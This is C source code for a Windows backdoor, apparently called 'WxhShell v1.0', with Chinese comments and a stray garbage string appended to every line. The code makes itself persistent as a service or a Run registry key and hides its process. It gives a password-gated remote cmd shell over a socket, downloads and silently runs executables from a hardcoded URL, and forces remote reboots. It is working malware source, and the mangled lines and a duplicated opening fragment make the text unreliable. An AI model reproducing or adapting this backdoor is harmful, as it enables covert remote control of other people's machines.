    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]IEZ?+F,  
    if(Boot(SHUTDOWN)) <z\`Ma  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AgZ?Ry  
    else { GC:q6}  
    closesocket(wsh); @$~IPg[J  
    ExitThread(0); n}I?.r@e  
    } &gPP# D6A  
    break; &O^-,n  
    } k/D{&(F ~  
  // 获取shell 5'c#pm\Q  
  case 's': { 4Y$\QZO  
    CmdShell(wsh); 5C&*PJ~WA  
    closesocket(wsh); |R1T;J<[  
    ExitThread(0); i[@13kr  
    break; 2j}DI"|h  
  } GX0zirz  
  // 退出 n}j6gN!O  
  case 'x': { 9! /kyyU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a{.q/Tbt  
    CloseIt(wsh); px "H  
    break; X\/M(byn  
    } #-@u Lc  
  // 离开 MM_:2 ^P)  
  case 'q': { +D:8r|evH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -rn6ZSD)  
    closesocket(wsh); 'It8h$^j  
    WSACleanup(); @0 /qP<E  
    exit(1); -sfv"?  
    break; ;}j(x;l>t  
        } r4fHD~#l{  
  } c(e>Rmh  
  } p |1u,N  
h='F,r5#2  
  // 提示信息 t`&x.o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8lL|j  
} tKeTHj;jO  
  } q;")  
uINdeq7|F  
  return; 0'fswa)  
} XS">`9o!  
kJp~'\b  
// shell模块句柄 RGE(#   
int CmdShell(SOCKET sock) {X&lgj  
{ 80wzn,o S  
STARTUPINFO si; &8z<~q  
ZeroMemory(&si,sizeof(si)); d.^g#&h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2h'Wu qO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Iz5NA0[=2  
PROCESS_INFORMATION ProcessInfo; ~e 1l7H;  
char cmdline[]="cmd"; b.@a,:"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p.SipQ.P  
  return 0; :t]HY2  
} Pp s-,*m  
R2gV(L(!!  
// 自身启动模式 PmRvjSIG  
int StartFromService(void) J+J,W5t^  
{ ^Aq0<  
typedef struct G$+v |z  
{ $KO2+^%y  
  DWORD ExitStatus; LWN {  
  DWORD PebBaseAddress; jb -kg</A  
  DWORD AffinityMask; 67YC;J]n=z  
  DWORD BasePriority; o^\Pt<~W  
  ULONG UniqueProcessId; q.VYPkEib  
  ULONG InheritedFromUniqueProcessId; (Z SaAn),  
}   PROCESS_BASIC_INFORMATION; "|L" C+tE  
DS<1"4 b|  
PROCNTQSIP NtQueryInformationProcess; ? T6K]~g  
OegeZV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~0a5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6(Pan%  
)ODF6Ag  
  HANDLE             hProcess; ]~KLdgru_  
  PROCESS_BASIC_INFORMATION pbi; _XV%}Xb'  
GWnIy6TH l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zKO7`.*  
  if(NULL == hInst ) return 0; "y,YC M`  
Xq*^6*E-}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o@Oz a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o)AwM"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s|]g@cz an  
DAB9-[y+  
  if (!NtQueryInformationProcess) return 0; [|DKBJ  
sQvRupYRO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :oP LluW*  
  if(!hProcess) return 0; :TH cI;PG8  
l%0bF9\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; " B#|C'   
Yf w>x[#e  
  CloseHandle(hProcess); ?m |}}a  
GQqGrUQ*}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZgP%sF  
if(hProcess==NULL) return 0;  uZS:  
CJBf5I3  
HMODULE hMod; -{cHp  
char procName[255]; 6Dlm. ~G  
unsigned long cbNeeded; xzOa9w/  
=|S%Rzsk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V&M*,#(?  
3'0Pl8  
  CloseHandle(hProcess); _rT\?//B  
CubQ6@,  
if(strstr(procName,"services")) return 1; // 以服务启动 wA=r ]BT  
,#A(I#wL~  
  return 0; // 注册表启动 Ymk?@mV4  
} Gt9$hB7  
2 |s ohF  
// 主模块 &A QqI  
int StartWxhshell(LPSTR lpCmdLine) fu/8r%:h  
{ hmO2s/~  
  SOCKET wsl; _M&TT]a  
BOOL val=TRUE; = xO03|T;6  
  int port=0; C82_ )@96  
  struct sockaddr_in door; `@~e<s`j  
0 &zp  
  if(wscfg.ws_autoins) Install(); Ts5)r(  
\G" S7  
port=atoi(lpCmdLine); M&Ka ^h;N  
LVj 1NP  
if(port<=0) port=wscfg.ws_port; 2$JGhgDI  
.+9hm|  
  WSADATA data; *@2Bh4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VY0.]t  
n~N>;m P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]gk1q{Ql<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ze+YQ F  
  door.sin_family = AF_INET; m1"m KM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8i#  
  door.sin_port = htons(port); Rh!UbEPjC  
06&J!,p :  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :C~Ar]  
closesocket(wsl); Ot t6y  
return 1; 5)k8(kH  
} uN|A}/hr]  
e w^(3&  
  if(listen(wsl,2) == INVALID_SOCKET) { Ys"wG B>  
closesocket(wsl); 3Vb4zZsl  
return 1; > H!sD\b  
} b_0THy.Z  
  Wxhshell(wsl); X z+%Ym  
  WSACleanup(); 4xy\  
rf.pT+g.P  
return 0; \Pg~j\;F]  
3nq?Y8yac  
} +)Z]<O  
IC`3%^  
// 以NT服务方式启动 diq}\'f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D'"  T'@  
{ BuJo W@)  
DWORD   status = 0; NB-dlv1  
  DWORD   specificError = 0xfffffff; oxwbq=a6yV  
[2%[~&4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1K72}Gj)ZL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @IT[-d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j]Auun  
  serviceStatus.dwWin32ExitCode     = 0; o>el"0rn.h  
  serviceStatus.dwServiceSpecificExitCode = 0; z5+Pi:1w  
  serviceStatus.dwCheckPoint       = 0; +HK4sA2;  
  serviceStatus.dwWaitHint       = 0; a~$XD(w^  
d>NGCe  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7FB?t<x  
  if (hServiceStatusHandle==0) return; B VBn.ut  
]P4WfV d  
status = GetLastError(); &OMlW _FHR  
  if (status!=NO_ERROR) V>@[\N[  
{ U&!TA(Yr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j#NyNv(jE1  
    serviceStatus.dwCheckPoint       = 0; @CMI$}!{V  
    serviceStatus.dwWaitHint       = 0; =~#mF<z5  
    serviceStatus.dwWin32ExitCode     = status; j{@O %fv=  
    serviceStatus.dwServiceSpecificExitCode = specificError; D31X {dJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VF%QM;I[Rc  
    return; !ifU}qFzK  
  } DeO-@4+qKd  
FXQWT9Kk~_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SeX]|?D  
  serviceStatus.dwCheckPoint       = 0; !FEc:qH  
  serviceStatus.dwWaitHint       = 0; wq)*bIv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W^(zP/  
} b IDUa  
L 4By5)  
// 处理NT服务事件,比如:启动、停止 o3J#hQrl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H;Wrcf2  
{ O[@!1SKT0  
switch(fdwControl) xQoZ[  
{ u?osX;'w  
case SERVICE_CONTROL_STOP: L\:|95Yq  
  serviceStatus.dwWin32ExitCode = 0; VUb>{&F[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2M %j-yG"  
  serviceStatus.dwCheckPoint   = 0; W5*ldXXk  
  serviceStatus.dwWaitHint     = 0; 5{ c;I<0  
  { %xt9k9=vZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X Xque-  
  } Y]z :^D  
  return; --yF%tRMP  
case SERVICE_CONTROL_PAUSE: y Zaf q"o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @HT\Y%E  
  break; 5mH [|_  
case SERVICE_CONTROL_CONTINUE: { 3G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~#_~DqbMZ5  
  break; ,7{|90'V<  
case SERVICE_CONTROL_INTERROGATE: }:Z.g  
  break; u4x-GObJM  
}; 'jev1u[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7]=&Q4e4  
} ]\, ?u /  
DfXkLOGik  
// 标准应用程序主函数 @rl5k(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3I)~;>meo  
{ mdi!Q1pS  
u]^ s2v  
// 获取操作系统版本 $)lkiA&;  
OsIsNt=GetOsVer(); aZ#FKp^8H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *?)MJ@  
Xp<q`w0I,  
  // 从命令行安装 y>o:5':;'  
  if(strpbrk(lpCmdLine,"iI")) Install(); rQ*+ <`R}  
&<&tdShI  
  // 下载执行文件 19 5_1?'<  
if(wscfg.ws_downexe) { \CB^9-V3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r,5e/X  
  WinExec(wscfg.ws_filenam,SW_HIDE); u I e^Me  
} wNB?3v{n  
@0+\:F  
if(!OsIsNt) { 7 N}@zPAZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 xfk -Ezv  
HideProc(); l*CulVX  
StartWxhshell(lpCmdLine); )g pN 5TDd  
} ~q>jXi  
else O=K lc+Oo  
  if(StartFromService()) TTf j 5  
  // 以服务方式启动 hf`y_H+\7  
  StartServiceCtrlDispatcher(DispatchTable); @iz Onc:  
else p=+Y7NE)  
  // 普通方式启动 I|X`9  
  StartWxhshell(lpCmdLine); 1+%UZK= K  
Kz'GAm\  
return 0; d59rq<yI  
} [P2>KQ\  
GT6; I7  
<spG]Xa<  
GSA+A7sZ  
=========================================== oodA&0{)d  
ko%mZ0Y  
/xn|d#4  
vJE=H9E  
#  X (2  
Fe8X@63  
" VL#:oyWA  
}T_"Vg q  
#include <stdio.h> &A:&2sP8  
#include <string.h> yQJ0",w3o.  
#include <windows.h> w1Bkz\95  
#include <winsock2.h> Y3@+aA  
#include <winsvc.h> C(>!?-.  
#include <urlmon.h> =Jp:dM*  
PqspoH 0OI  
#pragma comment (lib, "Ws2_32.lib") b+Q{Z*  
#pragma comment (lib, "urlmon.lib") 3MQHoxX  
RHsVG &<j  
#define MAX_USER   100 // 最大客户端连接数 =CzGI|pb  
#define BUF_SOCK   200 // sock buffer F=\ REq  
#define KEY_BUFF   255 // 输入 buffer `;mgJD  
&Wy>t8DIK  
#define REBOOT     0   // 重启 ^"Bhp:o2  
#define SHUTDOWN   1   // 关机 Q g/Rw4[  
4 95Y<x}=  
#define DEF_PORT   5000 // 监听端口 u<j;+-]8h  
4(8c L?J`0  
#define REG_LEN     16   // 注册表键长度 KKwM\   
#define SVC_LEN     80   // NT服务名长度 y,?=,x}o#  
UV(`.  
// 从dll定义API rDl/R^w"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o0WwlmB5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6TRLHL~B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a3n Wt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xst-zfkH`  
.QY>@b\  
// wxhshell配置信息 I(UK9H{0$  
struct WSCFG { -.Wwo(4  
  int ws_port;         // 监听端口 rzdQLan  
  char ws_passstr[REG_LEN]; // 口令 n)N!6u  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1<:5b%^c  
  char ws_regname[REG_LEN]; // 注册表键名 JbEEI(Q>g  
  char ws_svcname[REG_LEN]; // 服务名 X$<pt,}%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5H'Iul<Os  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R(t%/Hvs$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5VE=Oo#&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !- [ ZQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UhR^Y{W5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )P? 0YC  
#@nPB.  
}; }S"gZ6   
\[!{tbK`2  
// default Wxhshell configuration AK lr a$  
struct WSCFG wscfg={DEF_PORT, 2V 8 "jc  
    "xuhuanlingzhe", ke@OG! M/  
    1, iwIn3R,  
    "Wxhshell", 0aq{Y7sYU  
    "Wxhshell", J+CGhk  
            "WxhShell Service", 4~Q<LEly  
    "Wrsky Windows CmdShell Service", p7+>]sqX  
    "Please Input Your Password: ", !pfpT\i]N:  
  1, C!_=L?QT^  
  "http://www.wrsky.com/wxhshell.exe", eG+$~\%Fub  
  "Wxhshell.exe" O-0 5.  
    }; YS4"TOFw  
,1~B7Z d  
// 消息定义模块 =H: N!!:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nls$ wE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F.(W`H*1+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pv4#`.m  
char *msg_ws_ext="\n\rExit."; 3]iw3M  
char *msg_ws_end="\n\rQuit."; l_((3e[)  
char *msg_ws_boot="\n\rReboot..."; t<+>E_Xw  
char *msg_ws_poff="\n\rShutdown..."; r:rPzq1  
char *msg_ws_down="\n\rSave to "; bs}SFTL  
)EYs+7/t  
char *msg_ws_err="\n\rErr!"; >q')%j  
char *msg_ws_ok="\n\rOK!"; e`B!)Sr  
;Ym6ey0t  
char ExeFile[MAX_PATH]; Q?.9BM1V  
int nUser = 0; vh|m[p  
HANDLE handles[MAX_USER]; ^-Ks_4  
int OsIsNt; ]=3hH+1 a  
>;G7ty[RX7  
SERVICE_STATUS       serviceStatus; JFu.o8[Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8~!h8bkC  
ld%#.~Q  
// 函数声明 <}mA>c'k  
int Install(void); W`[7|8(6!  
int Uninstall(void); e2xKo1?I  
int DownloadFile(char *sURL, SOCKET wsh); Q=<&ew  
int Boot(int flag); XThU+s9  
void HideProc(void); e*<pO@Uy  
int GetOsVer(void); C9Cl$yZ  
int Wxhshell(SOCKET wsl); 2#R0Bd  
void TalkWithClient(void *cs); T_\hhP~  
int CmdShell(SOCKET sock); 7wrRIeES  
int StartFromService(void); AHa]=ka>  
int StartWxhshell(LPSTR lpCmdLine); C-:|A* z  
< A`srmS?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .lgm"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *yg`V,C  
SbtZhg=S_  
// 数据结构和表定义 %Zeb#//Jz  
SERVICE_TABLE_ENTRY DispatchTable[] = <0/)v J- 9  
{ V+u0J"/8  
{wscfg.ws_svcname, NTServiceMain}, 3E@ &  
{NULL, NULL} [8b{Yba z  
}; s2tNQtq 0W  
HS.eK#:N  
// 自我安装 (6)|v S  
int Install(void) Rs'mk6+  
{ vN6)Szim  
  char svExeFile[MAX_PATH]; Ch=jt*0  
  HKEY key; 47 &p*=  
  strcpy(svExeFile,ExeFile); 43`Atw`\  
h?QGJ^#8  
// 如果是win9x系统,修改注册表设为自启动 ?+]   
if(!OsIsNt) { tB0f+ wC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o3'Za'N.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9WL$3z'*  
  RegCloseKey(key); |i(@1 l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _k)EqPYu@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  o^d  
  RegCloseKey(key); }F_=.w0  
  return 0; 9 KU3)%U  
    } nI`9|W  
  } s8*Q@0  
} Z(ToemF)hi  
else { w\>@> *E>  
o3:h!(#G  
// 如果是NT以上系统,安装为系统服务 G'iE`4`2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pQCW6X  
if (schSCManager!=0) 8$ _8Yva"e  
{ NE?tfj  
  SC_HANDLE schService = CreateService 9'O@8KB_  
  ( X$< CIZ  
  schSCManager, 0fw>/"v  
  wscfg.ws_svcname, )%I62<N,z  
  wscfg.ws_svcdisp, l Ztw[c  
  SERVICE_ALL_ACCESS, JF9r[%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~T\:".C  
  SERVICE_AUTO_START, 9,wU[=.0  
  SERVICE_ERROR_NORMAL, NHD`c)Q  
  svExeFile, rVb61$  
  NULL, BKfoeN)%  
  NULL, sWMY Lo  
  NULL, j'LO '&sQ(  
  NULL, KD8,a+GL  
  NULL IoxdWQ4]A  
  ); P?M WT]fY  
  if (schService!=0) ga|-~~  
  { gYa (-o  
  CloseServiceHandle(schService); n{z!L-x^b  
  CloseServiceHandle(schSCManager); 3Ebkq[/*%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >^adxXw.o  
  strcat(svExeFile,wscfg.ws_svcname); 9y*pn|A[F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cG4$)q;q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wGx*Xy1n<  
  RegCloseKey(key); q4KYC!b  
  return 0; Z:<6Ck  
    } ]= 9^wS  
  } j.g9O]pi  
  CloseServiceHandle(schSCManager); 71k >_'fl  
} zy@ nBi^  
} dJ=z '?|%g  
tQ(gB_  
return 1; MOu=  
} -h#9sl->  
lm(k[]@  
// 自我卸载 \']_y\  
int Uninstall(void) >?^_JE C6  
{ w7Vl,pN,  
  HKEY key; $w ,^q+  
0)9'x)l:  
if(!OsIsNt) { ),4c b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u|M_O5^  
  RegDeleteValue(key,wscfg.ws_regname); s)V<dm;T  
  RegCloseKey(key); {h}e 9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \t%rIr  
  RegDeleteValue(key,wscfg.ws_regname); zr1A4%S"  
  RegCloseKey(key); :eW`El  
  return 0; = GZ,P (  
  } U<.,"`=l  
} N&-J,p~  
} 6%fF6  
else { oC1Nfc+  
VgcLG ]tE[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iCh,7I,m  
if (schSCManager!=0) GGkU$qp2~  
{ ;wj8:9 ;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NmZowh$M  
  if (schService!=0) S3.76&  
  { "/qm,$  
  if(DeleteService(schService)!=0) { RP~ hi%A  
  CloseServiceHandle(schService); {K42PmQL  
  CloseServiceHandle(schSCManager); _jD\kg#LY  
  return 0; ad,pHJ`  
  } `w#p8vR  
  CloseServiceHandle(schService); /m(v5v7(  
  } 7':qx}c#!1  
  CloseServiceHandle(schSCManager); l"1at eM3  
} wJu,N(U  
} KkD&|&!Q7u  
9 Aq\1QC  
return 1; e)A-.SRiO$  
} xJ|_R,>.H  
(bo-JOOdY(  
// 从指定url下载文件 E7>D:BQ\2  
int DownloadFile(char *sURL, SOCKET wsh) x{#W84  
{ B"=w9w]  
  HRESULT hr; X>4qL'b:z  
char seps[]= "/"; yHjuT+/wM,  
char *token; Y;[+^J*a  
char *file; ,AEaW  
char myURL[MAX_PATH]; +jN%w{^=  
char myFILE[MAX_PATH]; *d mS'/  
R gTrj  
strcpy(myURL,sURL); )H| cri~D  
  token=strtok(myURL,seps); mq6TwM  
  while(token!=NULL) ^q)AO?_  
  { caXSt2|'  
    file=token; 3T84f[CFJ  
  token=strtok(NULL,seps); d_aHUmI^"  
  } ?:+sjHzXT  
9U]j@*QN  
GetCurrentDirectory(MAX_PATH,myFILE); y`8 bx94jB  
strcat(myFILE, "\\"); x_$`#m{hL5  
strcat(myFILE, file); 83g$k 9lG.  
  send(wsh,myFILE,strlen(myFILE),0); >Pf\"% *  
send(wsh,"...",3,0); `Tk GI0q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $~r_&1  
  if(hr==S_OK) L. DD  
return 0; Q]hl+C$d"/  
else g`r4f%O  
return 1; w:c9Z=KX  
Z,1b$:+  
} ~>B`T%=H  
r}i}4K[1  
// 系统电源模块 45.Vr[FS.  
int Boot(int flag) 8~ w P?  
{ pxb4x#CC  
  HANDLE hToken; 8KMo!p\i  
  TOKEN_PRIVILEGES tkp; t+Au6/Dx?  
Q%!Dk0-)  
  if(OsIsNt) { %_%Bb Qf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E(g$f.9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FL E3LH  
    tkp.PrivilegeCount = 1; o8h` 9_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7ro&Q%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pj#ls  
if(flag==REBOOT) { Ge1b_?L_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EFn[[<&><t  
  return 0; bZWdd6  
} |qz&d=>  
else { {@ Z=b 5/P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oe<DP7e  
  return 0; a4\j.(w)$D  
} E{BX $R_8  
  } Wn-'iD+9<  
  else { kwUy^"O  
if(flag==REBOOT) { w0^}c8%WR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SW)jDy  
  return 0; A~({vb'  
} ;(&S1Rv9  
else { i"d&U7Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t W}"PKv  
  return 0; MFQyB+Z  
} c<,R,D R  
} aUk]wiwIR9  
2#oU2si   
return 1; _F},Wp:Oh  
} .t7ME{  
s w{e |  
// win9x进程隐藏模块 o[)*Y`xq<w  
void HideProc(void) 3?e~J"WXC5  
{ c8LMvL  
Vw]!Kb7tA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eY[kUMo  
  if ( hKernel != NULL ) xauMF~*  
  { =SD^Jl{H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \03ZE^H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b|e1HCH  
    FreeLibrary(hKernel); 9,[A fI  
  } |y pX O3  
<$??Z;6  
return; 7n,=`0{r  
} Y_)xytJ$  
+U)4V}S)  
// 获取操作系统版本 M+*K-zt0  
int GetOsVer(void) /j-c29nz  
{ ;Z); k`j  
  OSVERSIONINFO winfo; {2k]$|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ow{J;vFy\  
  GetVersionEx(&winfo); c9x&:U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r @}N6U~*  
  return 1; !e:_$$j  
  else Qk >9o  
  return 0; Vh?RlIUA  
} WPAT\Al&AE  
\/64Xv3L0  
// 客户端句柄模块 td7Of(k'  
int Wxhshell(SOCKET wsl) &0i$Y\g  
{ Fw:_O2  
  SOCKET wsh; e07u@_'^  
  struct sockaddr_in client; ,0c]/Sd*p  
  DWORD myID; WLA&K]  
q@g#DP+C  
  while(nUser<MAX_USER) Dt! <  
{ ;;6$d{  
  int nSize=sizeof(client); Lt ^*L% x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Gt)ij?~  
  if(wsh==INVALID_SOCKET) return 1; w'E(9gV  
w{ ;Sp?Os  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rp+]f\] h  
if(handles[nUser]==0) ..zX  
  closesocket(wsh); {Fqwr>e  
else 5'(T*"  
  nUser++; 33 ; '6/  
  } QQHQ3 \  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NcBz("  
4/%Y@Z5  
  return 0; nRvaCAt^  
}  yj=OR|v  
\d*ts(/a*  
// 关闭 socket \~g,;>%7Y  
void CloseIt(SOCKET wsh) 'iTY?  
{ c8Q}m(bhWI  
closesocket(wsh); Xmi~fie  
nUser--; qV;I<AM  
ExitThread(0); 9J?lNq  
} /EG'I{oC  
o".,JnbX l  
// 客户端请求句柄 '4_c;](W  
void TalkWithClient(void *cs) >bd@2au9!  
{ ~sZ$`t  
y+Hz(}4  
  SOCKET wsh=(SOCKET)cs; D(OJr5Gg  
  char pwd[SVC_LEN]; 1$+8wDVwad  
  char cmd[KEY_BUFF]; @+l=R|  
char chr[1]; J ?EDz,  
int i,j; 8t. QFze?  
I&m' a  
  while (nUser < MAX_USER) { o2'Wu:Y"  
8N+T=c  
if(wscfg.ws_passstr) { >cLh$;l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); no W]E}nN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |}.}q  
  //ZeroMemory(pwd,KEY_BUFF); zvVo-{6  
      i=0; t0GJ$])  
  while(i<SVC_LEN) { f%i%QZP  
8*x=Fm,Ok  
  // 设置超时 YYT#{>&  
  fd_set FdRead; x NjQ"'i8  
  struct timeval TimeOut; eWN g?*/  
  FD_ZERO(&FdRead); CmV &+C$V%  
  FD_SET(wsh,&FdRead); !\$V?*p7  
  TimeOut.tv_sec=8; W+/_0GgQ3  
  TimeOut.tv_usec=0; _m[DieR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TQmrL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M9afg$;.xe  
DIw_"$'At  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -U\'Emu4  
  pwd=chr[0]; r @m]#4  
  if(chr[0]==0xd || chr[0]==0xa) { %B( rW?p&  
  pwd=0; Uqb]&2  
  break; Dk>6PBl  
  } ".%d{z}vz  
  i++; d#]hqy  
    } :vX%0|  
d$ n31F  
  // 如果是非法用户,关闭 socket A*wf: mW0c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &^#u=w?^x  
} RgA"`p7{  
GGhk~H4OP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i#hFpZ6u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~ !!\#IX  
dJ m9''T')  
while(1) { fBctG~CJH  
b,YNCb]H  
  ZeroMemory(cmd,KEY_BUFF); 3F@P$4!#l  
Eh ";irE  
      // 自动支持客户端 telnet标准   8*@{}O##  
  j=0; huS*1xl  
  while(j<KEY_BUFF) { \ ZE[7Ae  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pA8As  
  cmd[j]=chr[0]; W>i"p~!  
  if(chr[0]==0xa || chr[0]==0xd) { /.<v,CR  
  cmd[j]=0; Y#XRn _2D  
  break; ~mARgv  
  } AB`.K{h  
  j++; ~r!(V;k{  
    } *<!q@r<d  
&H]/'i-  
  // 下载文件 XC)9aC@s  
  if(strstr(cmd,"http://")) { e1LIk1`p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i/%l B  
  if(DownloadFile(cmd,wsh)) y/c3x*l.xL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <JH,B91  
  else 4&;iORw&E4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #}FUau$  
  } ,d,2Q  
